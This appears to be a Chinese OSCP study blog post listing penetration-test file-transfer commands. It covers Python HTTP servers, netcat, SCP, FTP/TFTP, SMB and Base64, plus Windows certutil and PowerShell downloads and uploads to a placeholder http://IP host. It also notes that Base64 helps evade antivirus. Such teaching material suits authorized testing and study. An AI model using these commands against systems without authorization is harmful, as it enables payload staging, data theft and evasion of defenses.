OSCP：常见文件传输方法
在渗透测试过程中，文件传输是一个关键环节，涉及不同的协议和工具，本文整理了 Linux 和 Windows 系统下常见的文件传输方法，并提供相应的命令示例。
通用文件传输方式
Base64 编码传输
Base64 可用于跨平台传输文件，避免因字符集或杀软拦截问题导致传输失败。
- 编码：
- Linux：
base64 -w0 < file > file.b64 - Windows：
certutil -encode file.dll file.b64
- Linux：
- 解码：
- Linux：
base64 -d file.b64 > file - Windows：
certutil -decode file.b64 file.dll
- Linux：
HTTP 服务器（Python）
Python 内置 HTTP 服务器可用于快速文件传输：
- Python3：
python3 -m http.server 80 - Python2：
python -m SimpleHTTPServer 80 - 下载文件：
wget http://IP/file -O /tmp/file
Linux 文件传输
Netcat（nc）
Netcat 可用于文件传输，但需确保目标主机也安装了 nc。
- 发送文件：
nc -nv $IP $PORT < file - 接收文件：
nc -nlvp $PORT > file
SSH
- 上传文件：
scp file user@IP:/tmp/ - 下载文件：
scp user@IP:/tmp/file ./
FTP
- 文件传输模式
- 二进制模式（适用于可执行文件）：
ftp > binary - 文本模式（适用于可读内容）：
ftp > ascii
- 二进制模式（适用于可执行文件）：
了解二者区别可阅读这篇文章：FTP binary and ASCII transfer types and the case of corrupt files
- 快速搭建 FTP 服务器
apt-get install python-pyftpdlibpython -m pyftpdlib -p 21 -w
TFTP
TFTP 适用于传输小文件，但需要手动启动服务：
- 启动 TFTP 服务器：
service atftpd start - 客户端下载文件：
tftp -i $IP GET file - 客户端上传文件：
tftp -i $IP PUT file - Windows 启用 TFTP：
pkgmgr /iu:"TFTP"
SMB（Windows 文件共享）
SMB 适用于 Windows 和 Linux 之间的文件共享。
- 在 Linux 启动 SMB 服务器：
impacket-smbserver -smb2support share ./ - Windows 访问 SMB 共享：
- 复制文件：
copy \IP\sharefile C:\Temp - 挂载共享：
net use Z: \\IP\share
- 复制文件：
Windows 文件传输
PowerShell
- 下载文件：
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/file', 'C:\file.exe')" - 上传文件：
powershell -c "Invoke-RestMethod -Uri http://IP/upload.php -Method Post -Infile 'C:\file.exe'"
Certutil
Windows 内置 certutil 可用于文件下载：
certutil -urlcache -f http://IP/file C:\file.exe
其他方法
通过 UPX 压缩可执行文件（减少文件大小）
upx -9 file.exe
总结
文件传输在渗透测试过程中至关重要，常见方式包括：
- HTTP 服务器（Python 轻量级文件传输）
- SMB 共享（适用于 Windows 传输大文件）
- FTP/TFTP（适用于特定环境）
- Base64 编码（规避部分安全检测）
- PowerShell & Certutil（Windows 内置工具传输文件）
选择合适的传输方式，能有效提升渗透测试效率！
相关文章：
OSCP：常见文件传输方法
在渗透测试过程中，文件传输是一个关键环节，涉及不同的协议和工具，本文整理了 Linux 和 Windows 系统下常见的文件传输方法，并提供相应的命令示例。 通用文件传输方式 Base64 编码传输 Base64 可用于跨平台传输文件，…...
基于遗传优化GRNN和Hog特征提取的交通标志识别算法matlab仿真
目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 HOG 4.2 GRNN（General Regression Neural Network）模型原理 4.3 遗传算法（GA）优化GRNN平滑因子 5.算法完整程序工程 1.算法运行效果图预…...
秒杀案例-单应用版)
Redis代金卷(优惠卷)秒杀案例-单应用版
优惠卷表:优惠卷基本信息,优惠金额,使用规则 包含普通优惠卷和特价优惠卷(秒杀卷) 优惠卷的库存表:优惠卷的库存,开始抢购时间,结束抢购时间.只有特价优惠卷(秒杀卷)才需要填写这些信息 优惠卷订单表 卷的表里已经有一条普通优惠卷记录 下面首先新增一条秒杀优惠卷记录 { &quo…...
蓝桥杯之c++入门（一）【第一个c++程序】
目录 前言一、第⼀个C程序1.1 基础程序1.2 main函数1.3 字符串1.4 头文件1.5 cin 和 cout 初识1.6 名字空间1.7 注释 二、四道简单习题（点击跳转链接）练习1：Hello,World!练习2：打印飞机练习3：第⼆个整数练习4ÿ…...
数据结构 树1
目录 前言 一，树的引论 二，二叉树 三，二叉树的详细理解 四，二叉搜索树 五，二分法与二叉搜索树的效率 六，二叉搜索树的实现 七，查找最大值和最小值 指针传递 vs 传引用 为什么指针按值传递不会修…...
EtherCAT主站IGH-- 25 -- IGH之fsm_slave_scan.h/c文件解析
EtherCAT主站IGH-- 25 -- IGH之fsm_slave_scan.h/c文件解析 0 预览一 该文件功能`fsm_slave_scan.c` 文件功能函数预览二 函数功能介绍`fsm_slave_scan.c` 中主要函数的作用1. `ec_fsm_slave_scan_state_start`2. `ec_fsm_slave_scan_state_address`3. `ec_fsm_slave_scan_stat…...
redis数据安全与性能保障
数据安全与性能保障 1、持久化1.1 快照持久化1.2 AOF持久化1.3 重写/压缩AOF文件 2、复制2.1 Redis复制的启动过程2.2 主从链 3、处理系统故障3.1 验证快照文件和AOF文件 4、事务4.1 java中的redis事务使用 如有侵权，请联系～ 如有错误，也欢迎…...
llama.cpp LLM_CHAT_TEMPLATE_DEEPSEEK_3
llama.cpp LLM_CHAT_TEMPLATE_DEEPSEEK_3 1. LLAMA_VOCAB_PRE_TYPE_DEEPSEEK3_LLM2. static const std::map<std::string, llm_chat_template> LLM_CHAT_TEMPLATES3. LLM_CHAT_TEMPLATE_DEEPSEEK_3References 不宜吹捧中国大语言模型的同时，又去贬低美国大语言…...
【图文详解】lnmp架构搭建Discuz论坛
安装部署LNMP 系统及软件版本信息 软件名称版本nginx1.24.0mysql5.7.41php5.6.27安装nginx 我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客： 关闭防火墙 systemctl stop firewalld &&a…...
一文读懂fgc之cms
一文读懂 fgc之cms-实战篇 1. 前言 线上应用运行过程中可能会出现内存使用率较高，甚至达到95仍然不触发fgc的情况，存在内存打满风险，持续触发fgc回收；或者内存占用率较低时触发了fgc，导致某些接口tp99，tp…...
Agent 高频知识汇总：查漏补缺参考大全
Agent 高频问题汇总 一、基础概念类 （一）请解释 Agent 的概念及其主要特点 Agent 是一种能够感知所处环境，并基于感知信息做出决策、采取行动以实现特定目标的实体。它既可以是简单的规则基系统，也能是复杂的智能体，…...
毕业设计--具有车流量检测功能的智能交通灯设计
摘要： 随着21世纪机动车保有量的持续增加，城市交通拥堵已成为一个日益严重的问题。传统的固定绿灯时长方案导致了大量的时间浪费和交通拥堵。为解决这一问题，本文设计了一款智能交通灯系统，利用车流量检测功能和先进的算法实现了…...
fatal error C1083: [特殊字符]ļ: openssl/opensslv.h: No such file or directory
一、环境 1. Visual Studio 2017 2. edk2：202305 3. Python：3.11.4 二、 fatal error C1083: 򿪰ļ: openssl/opensslv.h: No such file or directory 上图出现这个警告，不用管。 出现Done，说明编译成功。 执行上…...
EasyExcel使用详解
文章目录 EasyExcel使用详解一、引言二、环境准备与基础配置1、添加依赖2、定义实体类 三、Excel 读取详解1、基础读取2、自定义监听器3、多 Sheet 处理 四、Excel 写入详解1、基础写入2、动态列与复杂表头3、样式与模板填充 五、总结 EasyExcel使用详解 一、引言 EasyExcel 是…...
：利用线性链条件随机场模型检测阵列比较基因组杂交数据的拷贝数变异)
论文阅读(十六)：利用线性链条件随机场模型检测阵列比较基因组杂交数据的拷贝数变异
1.论文链接：Detection of Copy Number Variations from Array Comparative Genomic Hybridization Data Using Linear-chain Conditional Random Field Models 摘要： 拷贝数变异（CNV）约占人类基因组的12%。除了CNVs在癌症发展中的…...
)
7.抽象工厂(Abstract Factory)
抽象工厂与工厂方法极其类似，都是绕开new的，但是有些许不同。 动机 在软件系统中，经常面临着“一系列相互依赖的对象”的创建工作；同时，由于需求的变化，往往存在更多系列对象的创建工作。 假设案例 假设…...
从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架（基础组件实现）
目录 基础组件实现 如何将图像和文字显示到OLED上 如何绘制图像 如何绘制文字 如何获取字体？ 如何正确的访问字体 如何抽象字体 如何绘制字符串 绘制方案 文本绘制 更加方便的绘制 字体附录 ascii 6x8字体 ascii 8 x 16字体 基础组件实现 我们现在离手…...
负荷预测算法模型
1. 时间序列分析方法 时间序列分析方法是最早被用来进行电力负荷预测的方法之一，它基于历史数据来构建数学模型，以描述时间与负荷值之间的关系。这种方法通常只考虑时间变量，不需要大量的输入数据，因此计算速度快。然而ÿ…...
Flutter Candies 一桶天下
| | | | | | | | 入魔的冬瓜 最近刚入桶的兄弟，有责任心的开发者，对自己的项目会不断进行优化，达到最完美的状态 自定义日历组件 主要功能 支持公历，农历，节气，传统节日，常用节假日 …...
android Camera 的进化
引言 Android 的camera 发展经历了3个阶段 ： camera1 -》camera2 -》cameraX。 正文 Camera1 Camera1 的开发中，打开相机，设置参数的过程是同步的，就跟用户实际使用camera的操作步骤一样。但是如果有耗时情况发生时，会…...
HarmonyOS简介：应用开发的机遇、挑战和趋势
问题 更多的智能设备并没有带来更好的全场景体验 连接步骤复杂数据难以互通生态无法共享能力难以协同 主要挑战 针对不同设备上的不同操作系统，重复开发，维护多套版本 多种语言栈，对人员技能要求高 多种开发框架，不同的编程…...
反向代理模块b
1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求，然后将请求转发给内部网络上的服务器，将从服务器上得到的结果返回给客户端，此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说，反向代理就相当于…...
C++并发：设计基于锁的并发数据结构
（上一篇主要讲了底层逻辑，比较晦涩难懂，这一章讲解数据结构设计） 对于并发场景，数据保护的形式主要如下： 1 采用独立互斥和外部锁 2 专门为并发访问自行设计的数据结构 1 并发设计的内涵 互斥保护数据结…...
)
数据分析系列--⑥RapidMiner构建决策树(泰坦尼克号案例含数据)
一、资源下载 二、数据处理 1.导入数据 2.数据预处理 三、构建模型 1.构建决策树 2.划分训练集和测试集 3.应用模型 4.结果分析 一、资源下载 点击下载数据集 二、数据处理 1.导入数据 2.数据预处理 三、构建模型 1.构建决策树 虽然决策树已经构建,但对于大多数初学者或…...
leetcode 844 比较含退格的字符串
leetcode 844 比较含退格的字符串 题目描述 给定 s 和 t 两个字符串，当它们分别被输入到空白的文本编辑器后，如果两者相等，返回 true 。# 代表退格字符。 注意：如果对空文本输入退格字符，文本继续为空。 示例 1&#…...
【ArcGIS遇上Python】批量提取多波段影像至单个波段
本案例基于ArcGIS python，将landsat影像的7个波段影像数据，批量提取至单个波段。 相关阅读：【ArcGIS微课1000例】0141：提取多波段影像中的单个波段 文章目录 一、数据准备二、效果比对二、python批处理1. 编写python代码2. 运行代码一、数据准备 实验数据及完整的python位…...
10.6 LangChain提示工程终极指南：从基础模板到动态生成的工业级实践
LangChain提示工程终极指南：从基础模板到动态生成的工业级实践 关键词： LangChain提示模板、动态Prompt生成、少样本学习、结构化输出、Prompt工程 一、Prompt Engineering 的本质：用设计模式重构大模型交互 传统Prompt的局限性： 硬编码文本：修改需求需重构代码缺乏结构…...
DeepSeek-R1 论文解读 —— 强化学习大语言模型新时代来临？
近年来，人工智能（AI）领域发展迅猛，大语言模型（LLMs）为通用人工智能（AGI）的发展开辟了道路。OpenAI 的 o1 模型表现非凡，它引入的创新性推理时缩放技术显著提升了推理能力…...
联想拯救者R720笔记本外接显示屏方法，显示屏是2K屏27英寸
晚上23点10分前下单，第二天上午显示屏送到，检查外包装没拆封过。这个屏幕左下方有几个按键，按一按就开屏幕、按一按就关闭屏幕，按一按方便节省时间，也支持阅读等模式。 显示屏是 ：AOC 27英寸 2K高清 100Hz…...
编译安装PaddleClas@openKylin（失败，安装好后报错缺scikit-learn）
编译安装 前置需求： 手工安装swig和faiss-cpu pip install swig pip install faiss-cpu 小技巧，pip编译安装的时候，可以加上--jobs64来多核编译。 注意先升级pip版本：pip install pip -U pip3 install faiss-cpu --config-s…...
传输层协议TCP与UDP：深入解析与对比
传输层协议TCP与UDP：深入解析与对比 目录 传输层协议TCP与UDP：深入解析与对比引言1. 传输层协议概述2. TCP协议详解2.1 TCP的特点2.2 TCP的三次握手与四次挥手三次握手四次挥手 2.3 TCP的流量控制与拥塞控制2.4 TCP的可靠性机制 3. UDP协议详解3.1 UDP的…...
《解码AI大模型涌现能力：从量变到质变的智能跃迁》
在当今科技飞速发展的时代，人工智能大模型的涌现能力成为了众人瞩目的焦点。从ChatGPT与用户的流畅对话，到GPT-4在复杂任务中的出色表现，这些大模型仿佛一夜之间解锁了超乎想象的技能，那么，这种神奇的涌现能力究竟是如…...
【数据结构】_C语言实现带头双向循环链表
目录 1. 单链表与双链表 1.1 单链表的结构及结点属性 1.2 双链表的结构及结点属性 2. 单链表与双链表的区别 3. 双链表的实现 3.1 List.h 3.2 List.c 3.3 Test_List.c 注：部分方法的实现细节注释 1. 双链表结点前驱、后继指针域的初始化 2. 各种增、删结…...
优盘恢复原始容量工具
买到一个优盘，显示32mb，我见过扩容盘，但是这次见到的是缩容盘，把2g的容量缩成32MB了，首次见到。。用芯片查询工具显示如下 ChipsBank(芯邦) CBM2199E 使用以下工具，恢复原始容量。。 其他CMB工具可能不行…...
JVM的GC详解
获取GC日志方式大抵有两种 第一种就是设定JVM参数在程序启动时查看，具体的命令参数为: -XX:PrintGCDetails # 打印GC日志 -XX:PrintGCTimeStamps # 打印每一次触发GC时发生的时间第二种则是在服务器上监控:使用jstat查看,如下所示，命令格式为jstat -gc…...
反转单向链表以及单链表添加节点、遍历单链表
反转1个单向链表 /*** 节点类*/ class ListNode {public int val;public ListNode next;public ListNode(int val) {this.val val;}Overridepublic String toString() {return "ListNode{" "val" val ", next" next };} }借助一个pre来存储每…...
基础练习1021——1030(详解版))
ZZNUOJ(C/C++)基础练习1021——1030(详解版)
目录 1021 : 三数求大值 C语言版 C版 代码逻辑解释 1022 : 三整数排序 C语言版 C版 代码逻辑解释 补充 （C语言版，三目运算）C类似 代码逻辑解释 1023 : 大小写转换 C语言版 C版 1024 : 计算字母序号 C语言版 C版 代码逻辑总结…...
Linux学习笔记——系统维护命令
一、进程管理 1、ps命令（查） 来自process缩写，显示当前的进程状态。包括：进程的号码，发起者，系统资源，使用占比，运行状态等等。 语法格式：ps 参数 实例&#x…...
Harbor 部署
harbor镜像仓库搭建 版本v2.10.3 文章目录 一. docker 安装 harbor1. harbor 配置http访问1.1 下载harbor二进制包1.2 修改配置文件1.3 运行1.4 访问 2.【可选】harbor 配置https访问2.1 自签证书2.1 修改配置文件2.3 修改hosts文件2.4 运行2.5 访问 二. k8s 安装harbor1 .安装…...
:负缩放，负定矩阵和行列式的关系（2D版本）)
three.js+WebGL踩坑经验合集(6.1):负缩放，负定矩阵和行列式的关系（2D版本）
春节忙完一轮，总算可以继续来写博客了。希望在春节假期结束之前能多更新几篇。 这一篇会偏理论多一点。笔者本没打算在这一系列里面重点讲理论，所以像相机矩阵推导这种网上已经很多优质文章的内容，笔者就一笔带过。 然而关于负缩放…...
开源的瓷砖式图像板系统Pinry
简介 什么是 Pinry ？ Pinry 是一个开源的瓷砖式图像板系统，旨在帮助用户轻松保存、标记和分享图像、视频和网页。它提供了一种便于快速浏览的格式，适合喜欢整理和分享多种媒体内容的人。 主要特点 图像抓取和在线预览：支持从网页…...
LabVIEW透镜多参数自动检测系统
在现代制造业中，提升产品质量检测的自动化水平是提高生产效率和准确性的关键。本文介绍了一个基于LabVIEW的透镜多参数自动检测系统，该系统能够在单一工位上完成透镜的多项质量参数检测，并实现透镜的自动搬运与分选，极大地提升了检…...
socket实现HTTP请求，参考HttpURLConnection源码解析
背景 有台服务器，网卡绑定有2个ip地址，分别为： A：192.168.111.201 B：192.168.111.202 在这台服务器请求目标地址 C：192.168.111.203 时必须使用B作为源地址才能访问目标地址C，在这台服务器默认…...
反向代理模块jmh
1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求，然后将请求转发给内部网络上的服务器，将从服务器上得到的结果返回给客户端，此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说，反向代理就相当…...
实现注册界面【Android移动开发基础案例教程（第2版）黑马程序员】)
安卓(android)实现注册界面【Android移动开发基础案例教程（第2版）黑马程序员】
一、实验目的（如果代码有错漏，可查看源码） 1.掌握LinearLayout、RelativeLayout、FrameLayout等布局的综合使用。 2.掌握ImageView、TextView、EditText、CheckBox、Button、RadioGroup、RadioButton、ListView、RecyclerView等控件在项目中的…...
RubyFPV开源代码之系统简介
RubyFPV开源代码之系统简介 1. 源由2. 工程架构3. 特性介绍（软件）3.1 特性亮点3.2 数字优势3.3 使用功能 4. DEMO推荐（硬件）4.1 天空端4.2 地面端4.3 按键硬件Raspberry PiRadxa 3W/E/C 5. 软件设计6. 参考资料 1. 源由 RubyFPV以…...
解锁维特比算法：探寻复杂系统的最优解密码
引言 在复杂的技术世界中，维特比算法以其独特的魅力和广泛的应用，成为通信、自然语言处理、生物信息学等领域的关键技术。今天，让我们一同深入探索维特比算法的奥秘。 一、维特比算法的诞生背景 维特比算法由安德鲁・维特比在 1967 年提出…...
开发(2) 基础场景布置)
Unity游戏(Assault空对地打击)开发(2) 基础场景布置
目录 导入插件 文件夹整理 场景布置 山地场景 导入插件 打开【My Assets】（如果你刚进行上篇的操作，该窗口默认已经打开了）。 找到添加的几个插件，点击Download并Import x.x to...。 文件夹整理 我们的目录下多了两个文件夹&a…...
Office / WPS 公式、Mathtype 公式输入花体字、空心字
注：引文主要看注意事项。 1、Office / WPS 公式中字体转换 花体字 字体选择 “Eulid Math One” 空心字 字体选择 “Eulid Math Two” 使用空心字时，一般不用斜体，取消勾选 “斜体”。 2、Mathtype 公式输入花体字、空心字 2.1 直接输…...
代码随想录算法训练营第三十九天-动态规划-213. 打家劫舍 II
与上一题基本一样，只不过房间形成一个环，就需要在首尾考虑状况多一些这不是多一些状况的问题，是完全不知道如何选择的问题这种状况详细分析一下就是要分成三种情况 第一种：不考虑首元素，也不考虑尾元素，只考…...